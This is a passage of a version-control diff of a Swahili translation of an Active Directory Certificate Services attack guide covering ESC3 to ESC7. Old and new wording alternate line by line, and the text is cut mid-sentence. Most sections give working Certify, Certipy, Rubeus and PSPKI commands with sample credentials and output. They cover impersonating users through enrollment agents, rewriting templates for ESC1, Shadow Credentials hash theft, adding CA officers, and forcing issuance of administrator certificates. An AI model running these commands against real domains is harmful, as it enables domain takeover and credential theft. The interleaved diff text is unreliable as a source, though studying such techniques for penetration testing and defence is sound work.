(OID 1.3.6.1.4.1.311.20.2.1), inayojulikana kama **Wakala wa Usajili** katika nyaraka za Microsoft, inaruhusu kiongozi **kujiandikisha** kwa **cheti** kwa **niaba ya mtumiaji mwingine**. +The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, inampa principal uwezo wa **kuomba** **certificate** kwa **niaba ya mtumiaji mwingine**. -**“wakala wa usajili”** anajiandikisha katika **mifano** kama hiyo na anatumia **cheti** iliyopewa ili ku-sign CSR kwa niaba ya mtumiaji mwingine. Kisha **anatumia** **CSR iliyo-sign** kwa CA, akijiandikisha katika **mfano** ambao **unaruhusu “kujiandikisha kwa niaba ya”**, na CA inajibu kwa **cheti inayomilikiwa na “mtumiaji mwingine”**. +The **“enrollment agent”** inasajiliwa katika templeti kama hiyo na inatumia certificate iliyopatikana **kusaini pamoja (co-sign) CSR kwa niaba ya mtumiaji mwingine**. Kisha **inatuma** **co-signed CSR** kwa CA, ikijisajili katika templeti inayoruhusu **“enroll on behalf of”**, na CA inajibu kwa kutoa **certificate** inayomilikiwa na mtumiaji **“mwingine”**. -**Mahitaji 1:** +**Requirements 1:** -- Haki za usajili zinatolewa kwa watumiaji wenye mamlaka ya chini na CA ya Enterprise. -- Mahitaji ya idhini ya meneja yameondolewa. -- Hakuna mahitaji ya saini zilizoidhinishwa. -- Maelezo ya usalama ya mfano wa cheti ni ya kupitiliza, ikitoa haki za usajili kwa watumiaji wenye mamlaka ya chini. -- Mfano wa cheti unajumuisha Wakala wa Ombi la Cheti EKU, ikiruhusu ombi la mifano mingine ya cheti kwa niaba ya viongozi wengine. +- Haki za enrollment zinatolewa kwa watumiaji wenye vibali vya chini na Enterprise CA. +- Sharti la idhini ya meneja limeachwa nje. +- Hakuna sharti la saini zilizoidhinishwa. +- Security descriptor ya template ya certificate ni yenye ruhusa kupita kiasi, ikitoa haki za enrollment kwa watumiaji wenye vibali vya chini. +- Template ya certificate ina Certificate Request Agent EKU, ikiruhusu kuomba templeti nyingine za certificate kwa niaba ya principals wengine. -**Mahitaji 2:** +**Requirements 2:** -- CA ya Enterprise inatoa haki za usajili kwa watumiaji wenye mamlaka ya chini. -- Idhini ya meneja inakwepa. -- Toleo la muundo wa mfano ni 1 au linazidi 2, na linaelezea Mahitaji ya Sera ya Maombi ambayo yanahitaji Wakala wa Ombi la Cheti EKU. -- EKU iliyofafanuliwa katika mfano wa cheti inaruhusu uthibitisho wa kikoa. -- Vikwazo kwa wakala wa usajili havitumiki kwenye CA. +- Enterprise CA inatoa haki za enrollment kwa watumiaji wenye vibali vya chini. +- Idhini ya meneja inapuuzwa. +- Toleo la schema la templeti ni 1 au lina zaidi ya 2, na linaeleza Application Policy Issuance Requirement inayohitaji Certificate Request Agent EKU. +- EKU iliyotajwa katika templeti ya certificate inaruhusu domain authentication. +- Vizuizi dhidi ya enrollment agents havitekelezwi kwenye CA. -### Unyanyasaji +### Abuse -Unaweza kutumia [**Certify**](https://github.com/GhostPack/Certify) au [**Certipy**](https://github.com/ly4k/Certipy) ili kunyanyasa hali hii: +Unaweza kutumia [**Certify**](https://github.com/GhostPack/Certify) au [**Certipy**](https://github.com/ly4k/Certipy) kutumia vibaya tukio hili: ```bash # Request an enrollment agent certificate Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent @@ -118,39 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -The **watumiaji** ambao wanaruhusiwa **kupata** **cheti cha wakala wa usajili**, mifano ambayo wakala wa usajili **wanaruhusiwa** kujiandikisha, na **akaunti** kwa niaba ya ambayo wakala wa usajili anaweza kutenda zinaweza kudhibitiwa na CAs za biashara. Hii inafikiwa kwa kufungua `certsrc.msc` **snap-in**, **kubonyeza kulia kwenye CA**, **kubonyeza Mali**, na kisha **kuhamasisha** kwenye tab ya “Wakala wa Usajili”. +Watumiaji walio na ruhusa kupata cheti cha **enrollment agent**, templates ambazo **agents** wa enrollment wanaruhusiwa kujiandikisha, na **akaunti** ambazo agent wa enrollment anaweza kutenda kwa niaba yao vinaweza kuzuiwa na CAs za shirika. Hii inafanywa kwa kufungua `certsrc.msc` **snap-in**, **kubofya kulia kwenye CA**, **kubofya Properties**, kisha **kuvinjari** hadi kwenye tab ya “Enrollment Agents”. -Hata hivyo, inabainishwa kuwa mipangilio ya **kawaida** kwa CAs ni “**Usizuilie wakala wa usajili**.” Wakati kizuizi juu ya wakala wa usajili kinawashwa na wasimamizi, kuweka kwenye “Zuilia wakala wa usajili,” usanidi wa kawaida unabaki kuwa na ruhusa nyingi sana. Inaruhusu **Kila mtu** kupata usajili katika mifano yote kama mtu yeyote. +Hata hivyo, imetambuliwa kwamba mpangilio wa chaguo-msingi kwa CAs ni “**Do not restrict enrollment agents**.” Wakati marufuku kwa enrollment agents inapoamilishwa na wasimamizi kwa kuweka “**Restrict enrollment agents**,” usanidi wa chaguo-msingi unabaki kuwa wa kuruhusu mengi. Unawaruhusu **Everyone** kujiandikisha kwenye templates zote kama mtu yeyote. -## Udhibiti wa Upatikanaji wa Mifano ya Cheti Inayoweza Kuathiriwa - ESC4 +## Vulnerable Certificate Template Access Control - ESC4 -### **Maelezo** +### **Explanation** -**Maelezo ya usalama** kwenye **mifano ya cheti** yanaelezea **idhini** maalum ambazo **viongozi wa AD** wanazo kuhusu mfano huo. +**Security descriptor** juu ya **certificate templates** inaelezea **permissions** ambazo **AD principals** maalum wanazo kuhusu template. -Iwapo **mshambuliaji** ana idhini zinazohitajika **kubadilisha** **mfano** na **kuanzisha** mabadiliko yoyote **yanayoweza kutumiwa** yaliyotajwa katika **sehemu za awali**, kupandishwa vyeo kunaweza kuwezesha. +Iwapo **mshambulizi** atakuwa na **permissions** zinazohitajika **kubadilisha** **template** na **kuanzisha** **mipangilio isiyo sahihi inayoweza kutumiwa** zilizotajwa katika **sehemu zilizotangulia**, inaweza kuwezesha kuinua haki/mamlaka. -Idhini muhimu zinazohusiana na mifano ya cheti ni pamoja na: +Haki muhimu zinazohusiana na template za cheti ni pamoja na: -- **Mmiliki:** Inatoa udhibiti wa kimya kimya juu ya kitu, ikiruhusu mabadiliko ya sifa zozote. -- **FullControl:** Inaruhusu mamlaka kamili juu ya kitu, ikiwa ni pamoja na uwezo wa kubadilisha sifa zozote. -- **WriteOwner:** Inaruhusu kubadilisha mmiliki wa kitu kuwa kiongozi chini ya udhibiti wa mshambuliaji. -- **WriteDacl:** Inaruhusu marekebisho ya udhibiti wa ufikiaji, huenda ikampa mshambuliaji FullControl. -- **WriteProperty:** Inaruhusu kuhariri sifa zozote za kitu. +- **Owner:** Inatoa udhibiti wa msingi juu ya kitu hicho, ikiruhusu mabadiliko ya sifa yoyote. +- **FullControl:** Inatoa mamlaka kamili juu ya kitu hicho, ikiwa ni pamoja na uwezo wa kubadilisha sifa yoyote. +- **WriteOwner:** Inaruhusu kubadilisha mwenye umiliki wa kitu hicho kuwa kwa principal aliye chini ya udhibiti wa mshambulizi. +- **WriteDacl:** Inaruhusu kurekebisha udhibiti wa upatikanaji (DACL), na hivyo inaweza kumpa mshambulizi FullControl. +- **WriteProperty:** Inaruhusu kuhariri mali yoyote ya kitu hicho. -### Unyanyasaji +### Abuse -Mfano wa privesc kama ile ya awali: +Ili kubaini principals walio na haki za kuhariri kwenye templates na vitu vingine vya PKI, orodhesha kwa kutumia Certify: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +Mfano wa privesc kama ule uliotangulia:
-ESC4 ni wakati mtumiaji ana ruhusa za kuandika juu ya mfano wa cheti. Hii inaweza kwa mfano kutumiwa kubadilisha usanidi wa mfano wa cheti ili kufanya mfano huo uwe na udhaifu kwa ESC1. +ESC4 ni pale mtumiaji anapokuwa na ruhusa za kuandika kwenye kiolezo cha cheti. Hii kwa mfano inaweza kutumika kuandika juu (overwrite) usanidi wa kiolezo cha cheti ili kufanya kiolezo kuwa dhaifu kwa ESC1. -Kama tunavyoona katika njia hapo juu, ni `JOHNPC` pekee ndiye mwenye ruhusa hizi, lakini mtumiaji wetu `JOHN` ana kiunganishi kipya cha `AddKeyCredentialLink` kwa `JOHNPC`. Kwa kuwa mbinu hii inahusiana na vyeti, nimeanzisha shambulio hili pia, ambalo linajulikana kama [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hapa kuna muonekano mdogo wa amri ya `shadow auto` ya Certipy ili kupata hash ya NT ya mwathirika. +Kama tunaona katika njia hapo juu, ni `JOHNPC` pekee anayemiliki ruhusa hizi, lakini mtumiaji wetu `JOHN` ana kiunganisho kipya cha `AddKeyCredentialLink` kwa `JOHNPC`. Kwa kuwa hii technique inahusiana na certificates, nimeitekeleza pia shambulio hili, inayojulikana kama [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hapa kuna mtazamo mfupi wa amri ya Certipy `shadow auto` ili kupata NT hash ya mwathiriwa. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** inaweza kubadilisha usanidi wa kiolezo cha cheti kwa amri moja. Kwa **kawaida**, Certipy it **badilisha** usanidi ili kuufanya **kuwa na udhaifu kwa ESC1**. Tunaweza pia kubainisha **`-save-old` parameter ili kuhifadhi usanidi wa zamani**, ambayo itakuwa muhimu kwa **kurudisha** usanidi baada ya shambulio letu. +**Certipy** inaweza overwrite usanidi wa template ya cheti kwa amri moja. Kwa **default**, Certipy itafanya **overwrite** usanidi ili kuufanya **vulnerable to ESC1**. Tunaweza pia kubainisha **`-save-old` parameter ili kuhifadhi usanidi wa zamani**, ambayo itakuwa muhimu kwa **kurejesha** usanidi baada ya shambulio letu. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -163,35 +179,35 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ``` ## Vulnerable PKI Object Access Control - ESC5 -### Explanation +### Maelezo -Mtandao mpana wa uhusiano wa ACL unaounganisha, ambao unajumuisha vitu kadhaa zaidi ya templeti za cheti na mamlaka ya cheti, unaweza kuathiri usalama wa mfumo mzima wa AD CS. Vitu hivi, ambavyo vinaweza kuathiri usalama kwa kiasi kikubwa, vinajumuisha: +Mtandao mpana wa mahusiano yaliyounganishwa kwa msingi wa ACL, ambao unajumuisha vitu vingi zaidi ya certificate templates na certificate authority, unaweza kuathiri usalama wa mfumo mzima wa AD CS. Vitu hivi, ambavyo vinaweza kuathiri kwa kiasi kikubwa usalama, vinajumuisha: -- Kituo cha kompyuta cha AD cha seva ya CA, ambacho kinaweza kuathiriwa kupitia mitambo kama S4U2Self au S4U2Proxy. -- Seva ya RPC/DCOM ya seva ya CA. -- Kila kituo cha AD au chombo ndani ya njia maalum ya kituo `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Njia hii inajumuisha, lakini siyo tu, vyombo na vitu kama vile chombo cha Templeti za Cheti, chombo cha Mamlaka ya Uthibitishaji, kitu cha NTAuthCertificates, na Chombo cha Huduma za Usajili. +- AD computer object ya CA server, ambayo inaweza kuathiriwa kupitia taratibu kama S4U2Self au S4U2Proxy. +- RPC/DCOM server ya CA server. +- Kitu chochote kilichomo chini ndani ya container maalum `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Njia hii inajumuisha, lakini sio tu, containers na vitu kama Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, na Enrollment Services Container. -Usalama wa mfumo wa PKI unaweza kuathiriwa ikiwa mshambuliaji mwenye mamlaka ya chini atafanikiwa kudhibiti chochote kati ya vipengele hivi muhimu. +Usalama wa mfumo wa PKI unaweza kuathiriwa ikiwa mshambuliaji mwenye ruhusa ndogo atasababisha kudhibiti chochote kati ya vipengele hivi muhimu. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### Explanation +### Maelezo -Mada inayozungumziwa katika [**post ya CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) pia inagusia athari za bendera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kama ilivyoelezwa na Microsoft. Mipangilio hii, inapowashwa kwenye Mamlaka ya Uthibitishaji (CA), inaruhusu kuingizwa kwa **maadili yaliyofafanuliwa na mtumiaji** katika **jina mbadala la somo** kwa **ombwe lolote**, ikiwa ni pamoja na yale yanayotengenezwa kutoka Active Directory®. Kwa hivyo, kipengele hiki kinawaruhusu **wavamizi** kujiandikisha kupitia **templeti yoyote** iliyowekwa kwa ajili ya **uthibitishaji** wa kikoa—hasa zile zinazofunguliwa kwa usajili wa mtumiaji **asiye na mamlaka**, kama vile templeti ya kawaida ya Mtumiaji. Kama matokeo, cheti kinaweza kulindwa, na kumwezesha mhamasishaji kujiandikisha kama msimamizi wa kikoa au **kitu chochote kingine kilichopo** ndani ya kikoa. +Mada iliyojadiliwa katika [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) pia inagusia athari za **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kama ilivyoainishwa na Microsoft. Mipangilio hii, ikiwashwa kwenye Certification Authority (CA), inaruhusu ujumlishaji wa **user-defined values** katika **subject alternative name** kwa **maombi yoyote**, ikiwa ni pamoja na yale yanayotengenezwa kutoka Active Directory®. Kwa hivyo, kifungu hiki kinawezesha **mdukuzi** kuji-enzela kupitia **template yoyote** iliyosanidiwa kwa ajili ya uthibitishaji wa domain—hasa zile zilizofunguliwa kwa usajili wa watumiaji wasio na ruhusa, kama template ya kawaida ya User. Kwa matokeo, cheti kinaweza kupatikana, kuruhusu mdukuzi kuthibitisha kama domain administrator au **entity nyingine yoyote hai** ndani ya domain. -**Note**: Njia ya kuongezea **majina mbadala** katika Ombi la Kusaini Cheti (CSR), kupitia hoja `-attrib "SAN:"` katika `certreq.exe` (inayojulikana kama “Name Value Pairs”), ina **tofauti** na mkakati wa unyakuzi wa SANs katika ESC1. Hapa, tofauti iko katika **jinsi taarifa za akaunti zinavyofungwa**—ndani ya sifa ya cheti, badala ya nyongeza. +**Kumbuka**: Njia ya kuongeza **alternative names** ndani ya Certificate Signing Request (CSR), kupitia hoja `-attrib "SAN:"` katika `certreq.exe` (inayojulikana kama “Name Value Pairs”), inatofautiana na mkakati wa kuteka SANs katika ESC1. Hapa, utofauti upo katika **jinsi taarifa za akaunti zinavyojahiliwa**—ndani ya attribute ya cheti, badala ya extension. ### Abuse -Ili kuthibitisha ikiwa mipangilio imewashwa, mashirika yanaweza kutumia amri ifuatayo na `certutil.exe`: +Ili kuthibitisha kama mipangilio imewezeshwa, mashirika yanaweza kutumia amri ifuatayo kwa `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Operesheni hii kimsingi inatumia **remote registry access**, hivyo, njia mbadala inaweza kuwa: +Operesheni hii hasa inatumia **remote registry access**, hivyo njia mbadala inaweza kuwa: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Zana kama [**Certify**](https://github.com/GhostPack/Certify) na [**Certipy**](https://github.com/ly4k/Certipy) zina uwezo wa kugundua makosa haya ya usanidi na kuyatumia: +Zana kama [**Certify**](https://github.com/GhostPack/Certify) na [**Certipy**](https://github.com/ly4k/Certipy) zinaweza kugundua mpangilio huu mbaya na kuutumia: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -200,39 +216,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Ili kubadilisha mipangilio hii, ikiwa mtu ana **haki za usimamizi wa kikoa** au sawa, amri ifuatayo inaweza kutekelezwa kutoka kwa kituo chochote cha kazi: +Ili kubadilisha mipangilio hii, ikibidi mtu kuwa na haki za **domain administrative** au sawa, amri ifuatayo inaweza kutekelezwa kutoka kwa workstation yoyote: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Ili kuzima usanidi huu katika mazingira yako, bendera inaweza kuondolewa kwa: +Ili kuzima usanidi huu katika mazingira yako, flag inaweza kuondolewa kwa: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Baada ya sasisho za usalama za Mei 2022, **vyeti** vilivyotolewa hivi karibuni vitakuwa na **nyongeza ya usalama** inayojumuisha **sifa ya `objectSid` ya ombaaji**. Kwa ESC1, SID hii inatokana na SAN iliyoainishwa. Hata hivyo, kwa **ESC6**, SID inakidhi **`objectSid` ya ombaaji**, si SAN.\ -> Ili kutumia ESC6, ni muhimu kwa mfumo kuwa na udhaifu kwa ESC10 (Mifumo ya Vyeti Dhaifu), ambayo inapa kipaumbele **SAN juu ya nyongeza mpya ya usalama**. +> Baada ya masasisho ya usalama ya Mei 2022, **certificates** mpya zitakazotolewa zitakuwa na **security extension** inayojumuisha mali ya `objectSid` ya muombaji. Kwa ESC1, SID hii hutokana na SAN iliyotajwa. Hata hivyo, kwa **ESC6**, SID inafanana na `objectSid` ya muombaji, si SAN.\ +> Ili kutekeleza ESC6, ni muhimu mfumo uwe dhaifu kwa ESC10 (Weak Certificate Mappings), ambayo inaipa kipaumbele **SAN juu ya security extension mpya**. -## Udhibiti wa Upatikanaji wa Mamlaka ya Vyeti - ESC7 +## Vulnerable Certificate Authority Access Control - ESC7 ### Shambulio 1 -#### Maelezo +#### Ufafanuzi -Udhibiti wa upatikanaji kwa mamlaka ya vyeti unadumishwa kupitia seti ya ruhusa zinazodhibiti vitendo vya CA. Ruhusa hizi zinaweza kuonekana kwa kufikia `certsrv.msc`, kubonyeza kulia CA, kuchagua mali, na kisha kuhamia kwenye tab ya Usalama. Zaidi ya hayo, ruhusa zinaweza kuhesabiwa kwa kutumia moduli ya PSPKI kwa amri kama: +Udhibiti wa ufikiaji kwa certificate authority unaendeshwa kupitia seti ya ruhusa zinazodhibiti vitendo vya CA. Ruhusa hizi zinaweza kuonekana kwa kufungua `certsrv.msc`, kubonyeza-kulia CA, kuchagua properties, kisha kuvinjari kwenye Security tab. Zaidi ya hayo, ruhusa zinaweza kuorodheshwa kwa kutumia module ya PSPKI na amri kama: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Hii inatoa ufahamu kuhusu haki za msingi, hasa **`ManageCA`** na **`ManageCertificates`**, zinazohusiana na majukumu ya “meneja wa CA” na “Meneja wa Cheti” mtawalia. +Hili linatoa ufahamu kuhusu haki kuu, yaani **`ManageCA`** na **`ManageCertificates`**, zinazolingana na majukumu ya “CA administrator” na “Certificate Manager” mtawaliwa. -#### Abuse +#### Matumizi mabaya -Kuwa na haki za **`ManageCA`** kwenye mamlaka ya cheti kunamuwezesha mhusika kubadilisha mipangilio kwa mbali kwa kutumia PSPKI. Hii inajumuisha kubadilisha bendera ya **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ili kuruhusu spesheni ya SAN katika kigezo chochote, jambo muhimu katika kupandisha ngazi ya domain. +Kuwa na haki za **`ManageCA`** kwenye certificate authority kunamwezesha mhusika kubadilisha mipangilio kwa mbali kwa kutumia PSPKI. Hii inajumuisha kuwasha/kuzima bendera ya **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ili kuruhusu maalumisho ya SAN katika template yoyote, jambo la muhimu kwa kupandisha hadhi kwenye domain. -Rahisishaji wa mchakato huu unaweza kufikiwa kupitia matumizi ya cmdlet ya PSPKI **Enable-PolicyModuleFlag**, inayoruhusu mabadiliko bila mwingiliano wa moja kwa moja wa GUI. +Kupunguza ugumu wa mchakato huu kunawezekana kwa kutumia cmdlet ya PSPKI **Enable-PolicyModuleFlag**, ikiruhusu mabadiliko bila kuingiliana na GUI moja kwa moja. -Kuwa na haki za **`ManageCertificates`** kunarahisisha idhini ya maombi yanayosubiri, kwa ufanisi ikiepuka kinga ya "idhini ya meneja wa cheti cha CA". +Kuwa na haki za **`ManageCertificates`** kunarahisisha kuidhinisha maombi yanayosubiri, kwa ufanisi kukwepa kizuizi cha "CA certificate manager approval". -Mchanganyiko wa moduli za **Certify** na **PSPKI** unaweza kutumika kuomba, kuidhinisha, na kupakua cheti: +Mchanganyiko wa moduli za **Certify** na **PSPKI** unaweza kutumika kutuma ombi, kuidhinisha, na kupakua cheti: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -248,33 +264,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Attack 2 +### Shambulio 2 -#### Explanation +#### Maelezo > [!WARNING] -> Katika **shambulio la awali** **`Manage CA`** ruhusa zilitumika **kuwezesha** bendera ya **EDITF_ATTRIBUTESUBJECTALTNAME2** ili kutekeleza **shambulio la ESC6**, lakini hii haitakuwa na athari yoyote hadi huduma ya CA (`CertSvc`) ipyaanzishwe. Wakati mtumiaji ana haki ya ufikiaji ya `Manage CA`, mtumiaji pia anaruhusiwa **kuanzisha upya huduma**. Hata hivyo, **haitoi maana kwamba mtumiaji anaweza kuanzisha upya huduma hiyo kwa mbali**. Zaidi ya hayo, E**SC6 huenda isifanye kazi moja kwa moja** katika mazingira mengi yaliyorekebishwa kutokana na masasisho ya usalama ya Mei 2022. +> Katika **shambulio lililotangulia** ruhusa za **`Manage CA`** zilitumika ili **kuwezeshwa** bendera ya **EDITF_ATTRIBUTESUBJECTALTNAME2** kufanya **ESC6 attack**, lakini hii haitakuwa na athari hadi huduma ya CA (`CertSvc`) irejeshwe upya. Mtu anapokuwa na haki ya kufikia `Manage CA`, pia anaruhusiwa **kurejesha huduma**. Hata hivyo, hii **haimaanishi kuwa mtumiaji anaweza kurejesha huduma kwa umbali**. Zaidi ya hayo, **ESC6 might not work out of the box** katika mazingira mengi yaliyopigwa patches kutokana na May 2022 security updates. -Kwa hivyo, shambulio lingine linawasilishwa hapa. +Kwa hivyo, shambulio mwingine linaonyeshwa hapa. -Masharti: +Mahitaji ya awali: -- Ruhusa pekee ya **`ManageCA`** +- Tu ruhusa ya **`ManageCA`** - Ruhusa ya **`Manage Certificates`** (inaweza kutolewa kutoka **`ManageCA`**) -- Kigezo cha cheti **`SubCA`** lazima kiwe **kimewezeshwa** (inaweza kuwezeshwa kutoka **`ManageCA`**) +- Template ya cheti **`SubCA`** lazima iwe **imewezeshwa** (inaweza kuwezeshwa kutoka **`ManageCA`**) -Teknolojia inategemea ukweli kwamba watumiaji wenye haki ya ufikiaji ya `Manage CA` _na_ `Manage Certificates` wanaweza **kutoa maombi ya cheti yaliyoshindwa**. Kigezo cha cheti **`SubCA`** ni **hatarini kwa ESC1**, lakini **ni wasimamizi pekee** wanaoweza kujiandikisha katika kigezo hicho. Hivyo, **mtumiaji** anaweza **kuomba** kujiandikisha katika **`SubCA`** - ambayo itakataliwa - lakini **kisha itatolewa na meneja baadaye**. +Mbinu inategemea ukweli kwamba watumiaji wenye haki za kufikia `Manage CA` _na_ `Manage Certificates` wanaweza **kuwasilisha maombi ya cheti yaliyokataa**. Template ya cheti ya **`SubCA`** ni **nyeti kwa ESC1**, lakini **wabunifu pekee** wanaweza kujiandikisha kwenye template. Hivyo, **mtumiaji** anaweza **kuomba** kujiandikisha kwa **`SubCA`** - ambalo litatupiliwa mbali - lakini **baadaye litatolewa na msimamizi**. -#### Abuse +#### Matumizi mabaya -Unaweza **kujiwezesha ruhusa ya `Manage Certificates`** kwa kuongeza mtumiaji wako kama afisa mpya. +Unaweza kujipa mwenyewe haki ya kufikia **`Manage Certificates`** kwa kuongeza mtumiaji wako kama afisa mpya. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Kigezo cha **`SubCA`** kinaweza **kuiwezesha kwenye CA** kwa kutumia parameter ya `-enable-template`. Kwa kawaida, kigezo cha `SubCA` kimewezesha. +Kiolezo cha **`SubCA`** kinaweza **kuwezeshwa kwenye CA** kwa kutumia parameter `-enable-template`. Kwa chaguo-msingi, kiolezo cha `SubCA` kimewezeshwa. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -286,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Ikiwa tumekamilisha masharti ya awali kwa shambulio hili, tunaweza kuanza kwa **kuomba cheti kulingana na kigezo cha `SubCA`**. +Ikiwa tumezingatia vigezo vya awali kwa shambulio hili, tunaweza kuanza kwa **kuomba cheti kwa kutumia template ya `SubCA`**. -**Omba hii itakataliwa**, lakini tutahifadhi funguo binafsi na kuandika chini kitambulisho cha ombi. +**Ombi hili litatataliwa**, lakini tutajihifadhi private key na kurekodi request ID. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -300,14 +316,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Kwa **`Manage CA` na `Manage Certificates`**, tunaweza kisha **kutoa ombi la cheti lililoshindwa** kwa kutumia amri ya `ca` na parameter ya `-issue-request `. +Kwa **`Manage CA` na `Manage Certificates`**, tunaweza kisha **kutoa ombi la cheti lililoshindikana** kwa kutumia amri `ca` na kipengele `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Na hatimaye, tunaweza **kurejesha cheti kilichotolewa** kwa kutumia amri ya `req` na parameter ya `-retrieve `. +Na hatimaye, tunaweza **kupata cheti kilichotolewa** kwa kutumia amri ya `req` na kipengele `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -319,75 +335,73 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attack 3 – Manage Certificates Extension Abuse (SetExtension) +### Shambulio 3 – Manage Certificates Extension Abuse (SetExtension) -#### Explanation +#### Maelezo -Mbali na matumizi ya jadi ya ESC7 (kuwezesha sifa za EDITF au kuidhinisha maombi yanayosubiri), **Certify 2.0** ilifunua primitive mpya ambayo inahitaji tu jukumu la *Manage Certificates* (pia inajulikana kama **Certificate Manager / Officer**) kwenye CA ya Enterprise. +Mbali na matumizi ya jadi ya ESC7 (kuwezesha sifa za EDITF au kuidhinisha maombi yanayosubiri), **Certify 2.0** ilibaini primitive mpya inayohitaji tu jukumu la *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) kwenye Enterprise CA. -Njia ya `ICertAdmin::SetExtension` RPC inaweza kutekelezwa na mtu yeyote mwenye *Manage Certificates*. Ingawa njia hii ilikuwa ikitumika kawaida na CAs halali kuboresha nyongeza kwenye maombi **yanayosubiri**, mshambuliaji anaweza kuitumia vibaya ili **kuongeza *nyongeza isiyo ya kawaida* ya cheti** (kwa mfano, OID ya *Certificate Issuance Policy* kama `1.1.1.1`) kwa ombi linalosubiri kuidhinishwa. +The `ICertAdmin::SetExtension` RPC method inaweza kutekelezwa na yoyote principal anayemiliki *Manage Certificates*. Wakati method kawaida ilitumika na CAs halali kusasisha extensions kwenye maombi **yanayosubiri**, mshambuliaji anaweza kuitapeli ili **kuongeza *non-default* certificate extension** (kwa mfano custom *Certificate Issuance Policy* OID kama `1.1.1.1`) kwenye ombi linalosubiri idhini. -Kwa sababu template inayolengwa haijabainisha thamani ya kawaida kwa nyongeza hiyo, CA HAIWEZI kubadilisha thamani inayodhibitiwa na mshambuliaji wakati ombi linapotolewa hatimaye. Cheti kinachotokana hivyo kinajumuisha nyongeza iliyochaguliwa na mshambuliaji ambayo inaweza: +Kwa sababu template inayolengwa haijaweka thamani ya default kwa extension hiyo, CA haitafunika thamani iliyodhibitiwa na mshambuliaji wakati ombi litakapotozwa. Kwa hivyo cheti kilichotolewa kina extension iliyochaguliwa na mshambuliaji ambayo inaweza: -* Kukidhi mahitaji ya Sera ya Maombi / Utoaji ya templates nyingine zenye udhaifu (kupelekea kupandishwa vyeo). -* Kuingiza EKUs au sera za ziada ambazo zinatoa cheti imani isiyotarajiwa katika mifumo ya watu wengine. +* Kutosheleza masharti ya Application / Issuance Policy ya templates nyingine zilizo hatarini (kunaweza kusababisha privilege escalation). +* Kuingiza EKUs au sera za ziada zinazompa cheti uaminifu usiotarajiwa katika mifumo ya wahusika wa tatu. -Kwa kifupi, *Manage Certificates* – ambayo hapo awali ilichukuliwa kama nusu “isiyo na nguvu” ya ESC7 – sasa inaweza kutumika kwa kupandishwa vyeo kamili au kudumu kwa muda mrefu, bila kugusa usanidi wa CA au kuhitaji haki za *Manage CA* zinazozuia zaidi. +Kwa kifupi, *Manage Certificates* – ambayo awali ilichukuliwa kama nusu “isiyo na nguvu” ya ESC7 – sasa 